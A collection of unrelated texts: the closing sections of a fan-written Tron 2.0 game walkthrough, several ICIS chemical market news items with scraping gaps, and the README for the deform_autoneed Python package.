ledge. Go up the slope a bit and jump over to the bin(1) containing P4, P6 and an e-mail. Now jump down and go back to the junction and follow the lower path around until you find a bin(npn) (close to a health routine) with P8, an e-mail and 'Viral Shield (g) (30)' in it. Then go back to the junction again and walk to its end to find a bin(4;6;8) with 'Corrosion (b)(i)(150)', 'Corrosion (b)(150)' and 'Drunken Dims (b)(i) (120)' in it. Also in this area you will find a COW to use. Retrace your steps to the junction again and go down the way and this time follow it to its end. You will see a bin(npn) with an e-mail in it. From there go right, down the path that is guarded by Z-Lots. At its end a bit hidden you will find a downwards slope that is the exit to this sublevel. Version: v7.2.2 g.e) Thornes Core Chamber (10;4;1;1) (0 Build notes) Here you will meet Thorne, Alan and the Kernel. After some talking the battle against the Kernel starts. The first thing you should take note of is, the pillars and some floor panels are destructible, so take care around them. The second thing you should be careful of, is that you do not hit Alan. During the first part of the battle the Kernel will stand up on the ledge with the beaten Thorne. From there he will attack you with the Sequencer Disc. Either run from them (bad idea) or deflect them with Power Block (good idea). If need be try to heal up at the health routine. After you have done some damage to the Kernel he will deactivate his shield and come down to fight you one on one in a Disc battle. If you are like me, then you will honor his request and fight Disc Primitive against Disc Primitive, if you do not want to honor his request use any weapon available to you. Either way Good Luck to you! :) After the battle you will have finished this main level. Version: v7.3.9 h) Handshake h.a) Function Control Deck (3;1;1) (4 Build notes) Now you ended up in Thornes PDA. Configure yourself for a battle against Finders, which will be the only enemies here. Then set out to find all permissions and Build notes first before persuading the PDA OS to help you. You should first exit the room through one of the doors and get to the panel that activates the bridge. Then return to the starting room and go on the lift there. Activate it by using the switch beside it. Once down exit the room through the only exit. To the right of the exit you will find a bin(npn) with an e-mail and P2 and P6 in it. Then continue your way. In the large hall use the two big, moving platforms to get to the other side, then go through the door on the right. Call down the lift in the room you will reach and go up. On the upper level you will find a bin(npn) with P2, P3 and an e-mail within. Then use the left or right door to exit and make your way to the panel that activates the bridge. Go back to the first room now and access the bin(2;3;6) there. A 'Base Damping (g)(25)' and an e-mail will wait here. Then use the lift to go down again and move to the room with the moving platforms. Wait until one platform advances towards you. While it is coming closer press the switch on the panel on the large contraption in this room. Now use the two platforms to go to the other side and push the button there, too. Now go trough the corridor on the right and use the lift to the upper level. Once there go to the back of the room and activate the switch located there. Then use one of the exits of the room and the bridges you activated earlier and go back to the first room. Flip the switch there also to finish this, rather small, mainlevel. Version: v7.6.2 i) Database i.a) Security Socket (5;2;2;1;1;1;1;1) (5 Build notes) Finally you have reached fCon's server. Your first objective here will be to find an access to the firewall. First turn right and talk to the programs there, then continue your way to the right and follow the half circle around to its end. There you should take out the Finder and the ICPs. One of them carries a P5. Now you download the e-mail from the bin(npn) you see. Now go to where there is a deactivated datastream in a niche shortly before the end of half-circle and go down the ramp opposite of it. Once you've reached the bottom there is only one way to follow. Remove all opposition and go on until you reach a dead end, do not energize the bit you saw just yet. In the dead end you will find a COW and a bin(npn) with a P2, 'Energy Claw (a)(100)', 'Cluster (a)(45)' and 'Fuzzy Signature (b)(10)' in it. Now go back and energize the bit and follow it to its socket. Be prepared now, as you will meet your first Data Wraiths in just a moment. Activate the bit. Enter the room and find a black-blue pillar in its middle. Use it to deactivate the forcefields to your left and right. In the right room is a bin(npn) with P5 and P7. Go back up to where the deactivated datastream pad was and enter the now active stream. Go to the next datastream to reach the lower level and make it your first priority to take out the Hogs. Now go ahead and destroy the four yellow power tabs on the wall. Now go back topside and go back to the starting section of the level. Once there you will see how a few ICPs over to your left will activate an energy bridge and start to attack you. Kill their processes. Go on until you reach a Sec Rezzer from there go down to your left, pass the boxes with the bin and the closed off port to the firewall an go into the next section. First go to the back of the area where the boxes are to find a bin(2;5;7) with 'Power Block (b)(75)', 'Fuzzy Signature(b)(15)' and 'Peripheral Seal(a)(15)' in it, then go down the stairs opposite of the Sec Rezzer. Go right from the stairs and follow the way until you find a ramp. At the top of the ramp you will see the datastream that will transport you to the second modulator socket. This socket is configured just like the first one, so repeat what you did there. Also hidden in one of the niches here is a bin(2;5) with P8, 'Primitive Charge (b)(15)' and 'Y-Amp (g)(100)'. Now return to the exit and fight back a few more ICPs. Then go towards the firewall port, but do not enter it yet, because you might first want to access the bin beside it, as you now have sufficient permission to do so. This bin(2;5;7;8) holds the 'Base Damping(b)(20)' and the very nice 'Megahurtz (a)(85)'. Now enter the port and finish this sublevel. Version: v8.0.1 i.b) Firewall (5;2;2;1;1;1;1;1) (5 Build notes) Watch the cutscene, then take care of the ICPs in the room. The bin that is in this room can not be accessed yet, so will come back to it later. This level is pretty straight forward. Look for the one niche where a datastream is active and enter it. You will end up in a plat- form with two tubes and a walkway in its middle that is perpendicular to it. To get through the tubes safely wait for the moving force field to disapper then run through the tube. At the far end of the platform you will find a bit which you activate, then turn around and return to the starting room by means of the datastream. Once there go on to the next niche with an active datastream. In the middle of the second platform you enter now you will find a lone ICP and off to your right two bins(npn) one with P2 and P3, the other with an e-mail within. You will also have to be a bit more careful with the forcefields now, as they move towards you, then back to where they started. This time you will have to follow them on their 'retreat'. Activate the bit, return to the main room and enter the next data- stream. In the tubes of the third platform you will have two moving forcefields per tube. In the middle of the tube you will find a marked section. Follow the first field until it dissipates close to the middle, then wait on the marking for the second field to move away form you and follow it. In the middle section to the left you will find a few boxes and a bin(npn) with P5, an e-mail, 'Guard Fortification (b)(20)', 'Encryption (b)(20)', 'Submask (b)(np)(20)' and 'Profiler (g)(50)'. Activate the bit, then return to the main room. You will be greeted by ICPs, but they will quickly leave if you find the right persuasive means. :) In one of the niches of the main room a COW will have appeared. We can now also take care of the bin(2;3;5) here, that holds a 'Energy Claw(a) (50)' and a 'Megahurtz (a)(np)(100)'. Go on to the last active data- stream to enter the configuration platform. Ring 1 is the inner ring, Ring 2 the middle one and number 3 is the outer ring. The panel on the left will activate Ring 1 and 3, the panel in the middle will move Rings 2 and 3 and the right one moves 1 and 2. The rings activated will all move one sixth of a circle further. Use the panels to align the breaks in the rings with the energy couplings on the left and right wall to solve this mission. Enter the datastream and you will end this sublevel. Version: v8.3.1 i.c) fCon Labs / Alan Lost Another cutscene. i.d) Primary Docking Port (5;2;2;1;1;1;1;1) (5 Build notes) Your first objective will be the removal of any enemy presence in the area. Do this now. Some of the ICPs will carry a P5. After the demise of the enemies return to the bin close to where you started. This bin (npn) holds P2 and P3. Then go ahead to the junction and turn left. Here you will find several bins. The one closest to the junction, is a bin(5) that holds 'LOL (b)(i)(110)'. To get to the next bin(2;3;5) you will have to jump on a few boxes. It holds 'Power Block (g)(np)(100)'. Further down you will find a COW, after this return to the junction and go down the right path now. There you will find a bin(2;3) with P5 and two e-mails. Then follow the path until you find Alan and a program looking at the server. Follow the program to the room with the plans. On the far side of the table you will find a bit that needs energizing. When you have done this just follow the bit to its socket, go through the door and activate the shuttle and don't mind the Data Wraiths that are trying futily to stop you. Both of the Wraiths will hold an 'Energy Claw (a)'. Once you've docked with the shuttle go up to the I/O node to communicate with Alan, then go on to the panel in front of the first security bit socket. Press it to open the socket, then hit the middle of it with your Disc. You will know you succeeded when the clamps open. Before going on to the next bit socket you will have to fend of the Data Wraiths that will spawn on the ledge high above you. Just LOL at them. :) Then repeat this with the next bit. Now you will have to enter the shuttle again and use it to reach the other side where you will do the same to the bits there. Also there is a bin(npn) with an e-mail here. After you have taken care of the bits board the shuttle again. On your next dock you should first take care of all the ICPs here, then go on towards the I/O node. First you might want to access the bin(npn) that is floating above the boxes, it holds a P2 and P7. Then use the I/O node. Go to the bridge, activate it, cross it and finish this sublevel. Version: v8.6.5 i.e) fCon Labs / Security Breach Another cutscene i.f) Storage Section (5;2;2;1;1;1;1;1) (0 Build notes) Welcome to your second Seeker to battle in this game. This one is much harder to defeat than the one in the old Encom system. For one thing he will not have to reatreat for a while when a discharge hits him, as there are no discharges here. Then he will be aided by Data Wraiths which try to attack you from all angles while you try to destroy the seeker. A good combination of subroutines might be the LOL (gold), paired with Megahurtz and Corrosion (also gold), as well as the Energy Claw (beta or gold). Attack the Seeker itself with the LOL and any Data Wraiths that you can not reach on the far left ledge. Destroy all remaining Data Wraiths with the Claw, which will also aid you in re- charging your energy for the LOL. Other than that, Good Luck. :) After this ordeal board the shuttle that has appeared on the right side of the battlefield. This will end this mainlevel. Version: v8.8.0 j) Root of all Evil j.a) Construction Level (5;3;2;1;1;1;1;1) (5 Build notes) We are getting closer and closer to finishing this game, are we not? Well, to continue, first remove the ICPs, then go, from your starting point, straight ahead and turn left first. There you can see a bin(npn) with P2; 'Primitive Charge (b)(15)', 'Megahurtz (a)(150)', 'Peripheral Seal (g)(np)(25)' and 'Y-Amp (g)(10)'. Then turn around and jump up to the other bin(2) with an e-mail and 'Prankster Bit (a)(100)' in it. Now pass by the Sec Rezzers and move onto the lift (a few boxes are on it) and activate it through the panel. After reaching the top take out any ICPs in the next hall, then look for Build notes, after this go to the back of the hall. There you will find on the floor level a doorway that is protected (lol!) by a rather erratic forcefield. This will enable you to slip through. Follow the corridor until you reach the one door that you are able to open with your permission and do so. You will end up in a room vital to the security of the system. In there you will have to activate 6 panels 3 to each side, 2 on the upper and one on the lower level each. After activating a panel you will also have to fight Data Wraith that tele- port in. After your activation of all 6 panels look for the lift in this room (right, upper walkway) and use it. Go down the corridor and open the door, then turn left as it is the only thing you can do here and follow the path to the open door. You will end up in the large hall again. Go to the walkways on the other side and enter the doorway that has now opened there. Follow the path until you enter a room where a COW is. Go through this room to its other end and exit the room here. Again follow the path until you reach another door. Inside you will find a few ICPs and Alan. Defeat the ICPs then talk to Alan, which will end this sublevel. Version: v9.0.8 j.b) Data Wraith Training Grid This is another Lightcyclerace sublevel. Do or skip, there is no try, or something like that. Version: v9.2.8 j.c) fCon Labs / The fCon team takes over Another cutscene. j.d) Command Module (5;3;2;1;1;1;1;1) (3 Build notes) Now you ended up in the command module. Right opposite to your starting position you will find a bin(npn) with two e-mails, 'Megahurtz (b) (130)' and 'Viral Shield (g)(30)' in it. Then retrieve the Build note from the escape pod, after this go through the door and enter the command section. There you will have to take out the ICPs first. After this look for a second Build note in the area. Now you will have to release the stabilization bits. Go to the 3-D Wireframe model of the Data Wraith carrier and use each bit (four total) in it once. Then go the front left side to the huge disc that is hanging there and use it. Then get back to the Escape Pod and move through the red force field. You will now end up in a section close to Alans last location. Be care- ful here as some of the level will deconstruct rather violently, and we don't want to get burried under the rubble now, would we? In this part you will also find the very last Build note for the game. The path you should follow is very obvious. If you made it through the room with the dropping ceiling go to the door that is 'guarded' by the patch routines and move through it to finish this sublevel. Version: v9.5.6 k) Digitizer Beam k.a) Not compatibel (4;4;4) (0 Build Notes) This is it, the final battle of the game. And not only are you limited in the choice of your weapons, no, this battle will also consist of three seperate stages. The first thing you should take care of, try not to fall down. It is sometimes very hard to move around the platforms without being able to discern if there is a hole in the floor or not. The next thing is, try to have an obstacle between you and the fCon team at all times when it is possible. Third, heal up if the possibilty is there. The weapons used by the first form will be Blaster, Prankster Bit and some kind of infection attack. The second form will miss the Prankster Bit and the third incarnation will have the Blaster and the Prankster Bit missing. I found that the boss is best defeated with the Disc Primitive (or it's subroutine Sequencer if energy allows). Keep your distance from it and hit it from afar and the boss should not pose much of a problem. If you have gold level defensive subroutines he will deal you a lot less damage. If possible couple the Disc with Primitive Charge, Corrosion and Megahurtz for additional damage to the boss. Other than that I can only wish you Good Luck and I hope you had fun with the game. :) Final Version: v9.7.6 ******************************************************************************* 09. Subroutines and COWs per level ******************************************************************************* Here I will list for a fast reference what subroutines and COWs you can gain in which sublevel. I will only list the Version and Energy need of the subroutines here. The COWs will be put at a place at which they can still be used with any of the subroutines found up to that point. That means, if I put the COW as a break in between the subroutines of a sublevel, you can only use it on the sub- routines above that COW, those that follow below can not be improved by that COW as it will not be accessible for them anymore. I will also list subroutines gained from core dumps if they are not accessible through bins for a while. These will be the ones that do not have an energy rating behind them. a) Unauthorized User a.a) Program Initalization Y-Amp alpha 25 Energy Blaster Primitive n/a 25 Energy Profiler alpha 25 Energy a.b) Program Integration COW (has to be used here as part of the plot) Fuzzy Signature alpha 25 Energy Submask alpha 15 Energy Profiler beta 35 Energy Virus Scan alpha 25 Energy Y-Amp alpha 25 Energy Submask alpha 15 Energy Primitive Charge alpha 20 Energy b) Vaporware b.a) Lightcyclearena and Gridbox none found / Lightcyclerace b.b) Prisonercells Virus Scan beta 35 Energy Fuzzy Signature alpha 25 Energy Peripheral Seal beta 20 Energy Suffusion alpha n/a COW Suffusion alpha 50 Energy Y-Amp beta 75 Energy Power Block alpha 25 Energy LOL alpha 65 Energy Peripheral Seal alpha 15 Energy b.c) Transportstation Virus Scan gold 50 Energy Virus Scan beta 35 Energy Viral Shield alpha 20 Energy Sequencer alpha 40 Energy Primitive Charge alpha 25 Energy Profiler beta 35 Energy COW b.d) Primary Digitizer Sequencer alpha 50 Energy Suffusion alpha 50 Energy Fuzzy Signature alpha 50 Energy Sequencer beta 80 Energy Primitive Charge alpha 25 Energy Profiler alpha 25 Energy Profiler beta 35 Energy COW LOL alpha 50 Energy Guard Fortification alpha 15 Energy Launcher alpha 75 Energy LOL alpha 50 Energy Fuzzy Signature beta 75 Energy Corrosion alpha n/a c) Legacy Code c.a) Alans Desktop PC LOL alpha 65 Energy Triangulation beta 100 Energy Suffusion beta 90 Energy LOL alpha 50 Energy Virus Scan beta 35 Energy Suffusion beta 90 Energy d) System Restart d.a) Packet Transport Cluster alpha 45 Energy Profiler gold n/a Guard Fortification alpha 25 Energy Fuzzy Signature beta 75 Energy Base Damping alpha 15 Energy Triangulation beta 100 Energy Profiler gold 50 Energy Y-Amp beta 75 Energy Suffusion beta 90 Energy COW (Permission 6 is needed to operate this one) d.b) Energy Regulator Base Damping alpha 15 Energy Submask beta 20 Energy Virus Scan gold 50 Energy Cluster alpha 45 Energy Fuzzy Signature beta 75 Energy d.c) Power Occular Triangulation alpha 75 Energy Triangulation beta 100 Energy Submask beta 20 Energy Guard Fortification beta 20 Energy Base Damping alpha 15 Energy Encryption alpha 15 Energy Cluster alpha 45 Energy Y-Amp gold 100 Energy LOL alpha 65 Energy LOL beta 110 Energy COW e) Antiquated e.a) Testgrid none / Boss Battle e.b) Main Processor Core COW Peripheral Seal beta n/a Sequencer alpha 25 Energy Cluster beta 45 Energy Fuzzy Signature beta 15 Energy e.c) Old Gridarena none / Lightcyclerace e.d) Main Energy Pipeline Peripheral Seal alpha 15 Energy Triangulation beta 100 Energy Submask alpha 15 Energy Base Damping beta 20 Energy Corrosion alpha 100 Energy Corrosion beta 225 Energy COW f) Master User f.a) City Hub Viral Shield beta n/a (talk to a program) Viral Shield alpha 20 Energy Launcher beta 115 Energy Virus Scan beta 35 Energy Virus Scan alpha 20 Energy Launcher beta 75 Energy COW f.b) Progress Bar Profiler gold 50 Energy Virus Scan gold 50 Energy Y-Amp gold 75 Energy COW Drunken Dims alpha n/a f.c) Outer Gird Getaway none / Lightcyclerace f.d) fCon Labs / Ma3a gets saved none / Cutscene f.e) Remote Access node Cluster beta 75 Energy Sequencer beta 80 Energy Triangulation gold 125 Energy Profiler beta 35 Energy COW g) Alliance g.a) Security Server none / Cutscene g.b) Thornes Outer Partition Corrosion alpha 15 Energy Launcher alpha 25 Energy Drunken Dims alpha 50 Energy Encryption beta 20 Energy g.c) fCon Labs / Data Wraith Preparation none / Cutscene g.d) Thornes Inner Partition Virus Scan gold 30 Energy Corrosion beta 150 Energy Corrosion beta 150 Energy Drunken Dims beta 120 Energy COW g.e) Thornes Core Chamber none / Boss Battle h) Handshake h.a) Function Control Deck Base Damping gold 25 Energy i) Database i.a) Security Socket Energy Claw alpha 100 Energy Cluster alpha 45 Energy Fuzzy Signature beta 10 Energy Power Block beta 75 Energy Fuzzy Signature beta 15 Energy Peripheral Seal alpha 15 Energy Primitive Charge beta 15 Energy Y-Amp gold 100 Energy Base Damping beta 20 Energy Megahurtz alpha 85 Energy COW i.b) Firewall Guard Fortification beta 20 Energy Encryption beta 20 Energy Submask beta 20 Energy Profiler gold 50 Energy Energy Claw alpha 50 Energy Megahurtz alpha 100 Energy COW i.c) fCon Labs / Alan Lost none / Cutscene i.d) Primary Docking Port LOL beta 110 Energy Power Block gold 100 Energy COW i.e) fCon Labs / Security Breach none / Cutscene i.f) Storage Section none / Boss Battle j) Root of all Evil j.a) Construction Level Primitive Charge beta 15 Energy Megahurtz alpha 150 Energy Peripheral Seal gold 25 Energy Y-Amp gold 10 Energy Prankster Bit alpha 100 Energy COW j.b) Data Wraith Training Grid none / Lightcyclerace j.c) fCon Labs / The fCon team takes over none / Cutscene j.d) Command Module Megahurtz beta 130 Energy Viral Shield gold 30 Energy k) Digitizer Beam k.a) Not compatible none / Final Boss Battle ******************************************************************************* 10. Lightcycle Game ******************************************************************************* In this section I will list all power-ups, other things to know, the stats of the Lightcycles, the list of the levels, what is unlocked after winning a race and what those cryptic abbreviations mean listed under the 'Own Game' tab. Abbreviations I will use in this section: LC = Standard Lightcycle (of movie fame) SLC = Super Lightcycle Turbo = Turbospeed of LC/SLC Max Spd. = Maximum Speed Min Spd. = Minimum Speed Acc. = Acceleration Loss = Speedloss in Curves Well, now let's get down to business, shall we? a) Power Ups On almost every racemap you can pickup and use extras. Here I am going to introduce them: - Shield Your standard, basic energy shield. Can withstand one hit. With it you can break safely through any single wall, just be careful that there is not a second one behind. Sometimes you can also drive through enemy with it activated - Nitro Gives you a burst of speed for a short time, helpful to stay ahead of an oppenent and then use a quick 'jab' to run him into your wall. - Turbo Charger Similar to the Nitro, only that you will go even faster and that every LC on the grid will benefit from the activation of this. Can also be used for surprise attacks. - Wall Extender Works just like the food in the snakes game, extends the length of your wall permanently. - Power-Up Steal An enemy has a power up that you would like, well, just borrow it from him with this item. - Wall Spike Let the enemy get close and alongside you then activate this item to send out short walls to the left and right, which will make short work of him. - Rocket Powerful ordinance for your little LC. If it does not hit an enemy LC (and thereby destroying it) it will coutinue on until it hits a map wall. Will go through all layers of energy walls along its path. Good for use in thight spots. - Automatic Power-Up On activation of this device all power-ups that your opponents currently hold will be activated. Use this if you want to stop them from using a Wall-Spike or Rocket on you. Might also backfire if you hit a Turbo Charger and are not prepared for it. - Wall Reset This will destroy all walls that were created until the point you activated this item. If you mean to use it to get through an enemy wall though, be careful, as it takes some time until the walls disapper. b) Additional Information - Speedup fields On some maps you will find green fields that will accelerate your LC and every other LC on the map (no matter what kind) to a predetermined and high speed. - Slowdown fields These glow red and are the exact opposite of the above, meaning they will slow down every LC on grid to a predetermined speed. - Energy Blocks These are blocks that appear and vanish. If they are to appear the ground will shortly glow in a red square marking the location of the block. You should not run into them, and you should steer clear if you are on a location where a block will appear. - Turbospeed This statistic affects the speed at which a LC/SLC can move when it activates a Nitro or Turbocharger power-up. - Maximum Speed This is the highest attainable speed when moving over normal gird. This speed will be reached when you hold the forward key pressed. It varys from LC to LC, and also sometimes from map to map, depending on which speed the game is set. - Minimum Speed This is the slowest your LC will go. Braking will be activated when you hold the backwards key. - Acceleration The meaning of this should be clear, I hope. - Speedloss in curves Each time you turn you will loose a certain amount of speed. So turning often will slow you down considerably and make you an easy target for opposing Lightcyclists. - Colors The colors determine the level of the AI as well as the quality of the LC. Blue are the weakest bikes, then followed by yellow, red, green and finally purple. The numbers behind the color of the bike in the selection screen only denote different shades of that color to choose from and do not have any impact on LC performance. c) The Stats of the Lightcycles Note: These values are only for comparision of the different capabilities of the LCs. They were gained by measuring the length of the bars with a ruler off the monitor. I would say that this is just a rather crude approximization, but this was to give at least some kind of numerical comparision for the LCs, I hope it helps. (Okay, I know I should have gotten all the top and low speeds, but I was too lazy. There, are you now satisfied. :) ). All but the number for Speedloss go by the maxime 'The higher, the better'. For Speedloss a lower value is better. Type/Color of LC Turbo Max Spd. Min Spd. Acc. Loss LC Blue 1.5 1.5 1.5 1.5 1.5 LC Yellow 2.5 2.5 2.5 2.0 1.5 LC Red 3.5 3.0 3.5 2.5 1.5 LC Green 4.5 4.0 4.5 3.0 1.5 LC Purple 6.5 5.5 6.0 3.5 1.5 SLC Blue 5.0 5.5 5.0 6.0 10.0 SLC Yellow 6.0 6.5 6.0 7.0 10.0 SLC Red 7.0 7.5 7.0 8.0 10.0 SLC Green 8.0 8.5 8.0 9.0 10.0 SLC Purple 10.0 10.0 10.0 10.0 10.0 d) List of Racetracks Note: LC/SLC colums here will list which kind of colors are allowed. The Code column list the Levelcode display in the 'Own Game' tab. The Turtorial track can not be selected for an own game. The other four tracks that are listed with 'n/a' have no level code, because they feature a track each of their specific set (e.g. track 13, features tracks from 2, 7 and 17 in the following table). Name LC SLC Lives Waves Code 1) Tutorial All All 10 1 n/a 2) Newbie Authentification Blue None 8 3 LC02S01 3) Binary Zone All None 6 3 n/a 4) Format:/C Blue Blue 4 2 LC03S01 5) Conscripts Revenge All None 6 3 LC01S01 6) fCon Zone All All 6 3 n/a 7) Batchfile Graveyard All None 8 3 LC02S02 8) Curse of the Bitrate All None 10 5 LC01S02 9) Avatar Alley All All 2 3 LC03S02 10) Dead Man's Cache None Yellow 4 2 LC03S03 11) Green Hornets Green Green 6 3 LC04S01 12) Super Cycle Open None All 8 4 LC01S03 13) Old Zone All All 6 3 n/a 14) Purple Warez Purple None 4 2 LC04S03 15) Urban Area All All 6 3 n/a 16) Sourcecode Revelation None All 8 4 LC04S02 17) 01100101 None All 8 4 LC02S03 e) What is unlocked when Note: The numbers here corresspond to those found in the list above. 1) SLC Blue 2) Yellow LC 3) Shield / LC01 tracks 4) Nitro 5) Red LC / Turbocharger 6) LC 04 tracks 7) Yellow SLC / Wall Extender 8) Power-up Steal 9) Green LC / Wall Spike 10) Rocket 11) Red SLC / Automatic Power-up 12) None 13) Purple LC / LC02 tracks 14) None 15) Green SLC / LC03 tracks 16) None 17) Purple SLC / Wall Reset ******************************************************************************* 11.FAQ ******************************************************************************* Q: The game does not run on my system! The game does not run well on my System! Why? A: Sorry, but I am not a technician, either ask your way around on message boards or ask Monoliths Tech Support to aid you. Q: The Lightcycleraces are so hard, isn't there any way to skip them? A: You can skip them if you have the right version of the game. For the US version you will have to get the first patch from the official Tron 2.0 website. If you have the german version this patch is already implemented in the final release. Q: I can not supply energy to the bits in the EN12-82 system mainlevel. Why? A: This is a bug in the game. To avoid it you have to make sure that you did not skip the lightcyclerace in this mainlevel. Monolith may release a patch that will solve this problem. Q: The game is so hard, isn't there any way to make it easier? A: Well, first you should look in the options what difficulty level you use. Tron 2.0 allows you to change the difficulty level at any time during the game. If you are already playing on easy, well, then look for cheats in the net, although you should try to get through the game at least once without using cheats. Makes the feeling of having something accomplished that much nicer. ******************************************************************************* 12. Credits ******************************************************************************* Steve Lisberger - for creating the Tron universe Syd Mead - for designing the look and feel of Tron The Monolith team - for creating an outstanding game The GVim team - for creating a superb text editor () The 'Alt + Tab' shortcut - for making writing this thing much easier and last but (hopefully) not least me - for writing up this Walkthrough ******************************************************************************* 13. Changelog ******************************************************************************* - Version v0.3.0 -- October 6th, 2003 Well, this version apparently was not meant to be. Due to a stupid mistake I made I saved an empty textfile over some of the text I've had already written. Life can sometimes be frustrating, can it not? Still, I had a good laugh on it afterwards. Also it kept me from formatting what I had written up to that point (it was chaotic to say the least) and I could with a new one where I also concentrated on the formatting right away. All in all it was not that bad. :) - Version v1.0.0 -- October 14th, 2003 Release Candidate Version This is the first version I released. No changes have been made to the Walkthrough as of yet. - Version v1.1.0 -- October 16th, 2003 First Patch (everyone loves a patch, at least if it fixes problems) :) - New section (10) for the single player Lightcycleraces was added - Reworked Section 3 'Basic Game Mechanics' - Reworked Section 7 'Notes for the Walkthrough' - Reworked document width to 79 characters per line - Corrected minor mistakes found during reworking - Minor formatting adjustments in Section 9 ******************************************************************************* 14. Contact Information ******************************************************************************* If you want to contact me, you can do this by one of the following methods: E-Mail: DeathbrngNOSPAMHERE@NOSPAMHEREaol.com (remove the NOSPAMHERE) and please refer to the Tron 2.0 Walkthrough in the subject line AIM: SN Deathbrng ICQ: 150971635 (mostly invisible / Authorization required) End of Line
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http://www.gamefaqs.com/pc/529599-tron-2-0/faqs/26235
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25 June 2012 05:00 [Source: ICIS news]
SINGAPORE (ICIS)--Here is Monday’s midday ?xml:namespace>
CRUDE: Aug WTI $80.25/bbl, up 49 cents/bbl; Aug BRENT $91.35/bbl, up 37 cents/bbl
Crude futures strengthened in Asian morning trade, supported by reduced output in the US Gulf amid concerns over an approaching storm. Interest was focussed on an upcoming summit of eurozone leaders amid expectations of moves towards a closer monetary union, and new measures to stimulate growth.
NAPHTHA: $706.00-708.00/tonne CFR Japan, up $9.50/tonne
Open-spec naphtha prices partially recovered from last week, after landing at a 21-month low on 22 June, buoyed by overnight firmer crude futures.
BENZENE: $1,015-1,035/tonne FOB
Prices firmed in tandem with firmer crude futures. Bids for August loading were at $1,000/tonne FOB
TOLUENE: $980-990/tonne FOB
Market activity was limited. Bids for August and September were heard at $970/tonne FOB
ETHYLENE: $920-950/tonne CFR NE Asia, up $20/tonne at the low end
Selling ideas were as high as $1,000/tonne CFR NE Asia for July arrival due to the ongoing
PROPYLENE: $1,240-1,260/tonne CFR NE Asia, stable
Market players stayed on the sidelines amid limited July supply and following a flurry of deals last week. No firm offers and bids were
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http://www.icis.com/Articles/2012/06/25/9572224/noon-snapshot-asia-markets-summary.html
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28 May 2009 16:44 [Source: ICIS news]
TORONTO (ICIS news)--US chemical railcar traffic fell 12.7% in the week ended on 23 May from the same week in 2008, marking the 38th straight decline, according to data released by an industry association on Thursday.
US chemical railcar loadings for the week were 27,553, down from 31,574 in the same week in 2008, the Association of American Railroads (AAR) said.
The decline compares with a 20.5% drop for the previous week ended on 16 May.
With railroads transporting more than 20% of the chemicals produced in the ?xml:namespace>
For the year-to-date period through 23 May, US chemical railcar loadings fell 17.7% to 516,848, down from 628,131 in the same period last year.
The AAR also provided comparable chemical railcar shipment data for
Canadian chemical rail traffic for the week ended on 23 May dropped 21.7% to 11,102, down from 14,170 in the same week last year.
For the year-to-date period, Canadian shipments were 223,443, a 26.8% decrease from 305,368 in the same period in 2008.
Mexican weekly chemical rail traffic rose 38.7% to 1,155, from 833 in the same week a year earlier.
For the year-to-date period, Mexican shipments were 20,951, up 16.5% from 17,987 in the same period last year.
For all of
For the year-to-date period, North American chemical railcar traffic was 761,242, down 20.0% from 951,486 in the same period last year.
Overall, the
From the same week last year,
For all of
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http://www.icis.com/Articles/2009/05/28/9220312/us-weekly-chemical-railcar-traffic-falls-12.7-year-on.html
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14 March 2012 06:38 [Source: ICIS news]
By Crystal Zhao
?xml:namespace>
SINGAPORE
Benzene supply in east
On Wednesday morning, offers for spot benzene were at yuan (CNY) 8,550-8,600/tonne ($1,350-1,359/tonne) ex-tank in east
Current prices are on average CNY125/tonne higher, or up 1.5%, from the start of March, according to Chemease, and ICIS service in
“The prices in the near future are likely to stay firm, in light of limited supply,” a market player said.
Last week,
Among the companies that shut aromatics production in eastern
ZRCC’s No 1 aromatics unit at
At Sinopec Shanghai Petrochemical’s aromatics facility that can produce 270,000 tonnes/year of benzene, a 30-day maintenance is also underway since end-February, said a company source.
Gaoqiao Petrochemical, meanwhile, restarted its aromatics unit with a 30,000 tonne/year benzene capacity in early March after a 30-day turnaround.
In northwestern
Benzene demand is
Buyers in downstream sectors – including styrene monomer, phenol, caprolactam (capro) and acrylic acid (AA), methyl di-p-phenylene isocyanate (MDI) – remain cautious about procuring feedstock for production given overall weakness in demand for end-products, industry sources
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http://www.icis.com/Articles/2012/03/14/9541286/china-benzene-may-stay-high-throughout-march-on-tight-supply.html
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deform_autoneed 0.2.2b
Auto include resources in deform via Fanstatic.
Deform Autoneed README
A simple package to turn any deform requirements into Fanstatic resources and serve them.
Some ideas were taken from js.deform, but this package is in many ways its absolute opposite: It only serves whatever content deform ships with. Hence it should be compatible with any version of deform.
Note
Note: This package patches deforms render function the same way as js.deform does. If you don’t want that, you can include the rendering yourself.
- Tested with the following deform/Python versions:
- Python 2.7, 3.2, 3.3
- deform 0.9.5 - Python 2.7
- deform 0.9.9 - Python 2.7, 3.2, 3.3
- deform 2.0a.2 - Python 2.7, 3.2, 3.3
It should be compatible with most fanstatic versions, including current stable 0.16 and future 1.0x.
This package should also work with future versions of deform that are somewhat API-stable. Should be framework agnostic and compatible with anything that Fanstatic works on. (Any WSGI)
Simple usage
During startup procedure of your app, simply run:
from deform_autoneed import includeme includeme()
Or if you use the Pyramid framework:
config.include('deform_autoneed')
This will populate the local registry with any resources that deform widgets might need, and patch deforms render function so they’re included automatically.
And that’s it!
Using registered resources in other pages
deform prior to 2 depends on jquery, while deform 2 depends on jquery and bootstrap. If you want any of these base packages in any other view that isn’t a form, simply:
from deform_autoneed import need_lib need_lib('basic')
Basic means any base requirements of deform itself. You may also call other deform dependencies here. Essentially, you can use any key from deforms default resource registry in: deform.widget.default_resources.
Replacing a resource requirement
If you wish to replace a resource with something else, ResourceRegistry has a method for that. It will have an effect on everything that might depend on that resource.
Example:
deforms form.css is a registered requirement. We’ll replace it with out own css, where our_css is a fanstatic resource object.
resource_registry.replace_resource(‘deform:static/css/form.css’, our_css)
Note that replace_resource accepts either fanstatic.Resource“-objects or paths with package name, like ‘deform:static/css/form.css’ as arguments.
Registering a custom widgets resources
If you’re using any widgets/forms in deform that require non-standard plugins, you can register them within this package to include them.
First, create a Fanstatic library for your resources and an entry point in your setup.py. (See the Fanstatic docs for this)
from fanstatic import Library my_lib = Library('my_lib', 'my/static')
Add your library to autoneed’s registry:
from deform_autoneed import resource_registry resource_registry.libraries['my_package_name'] = my_lib
If you have structured your requirements the same way as in deform.widget.default_resources, and your directory for static resources is called static, you can call the method populate from resources to automatically create your package.
resource_registry.populate_from_resources(your_resources)
If not, you can simply add the requirements using the method create_requirement_for.
resource_registry.create_requirement_for('my_special_widget', ['my_package_name:my/static/css/cute.css', 'my_package_name:my/static/js/annoying.js'], )
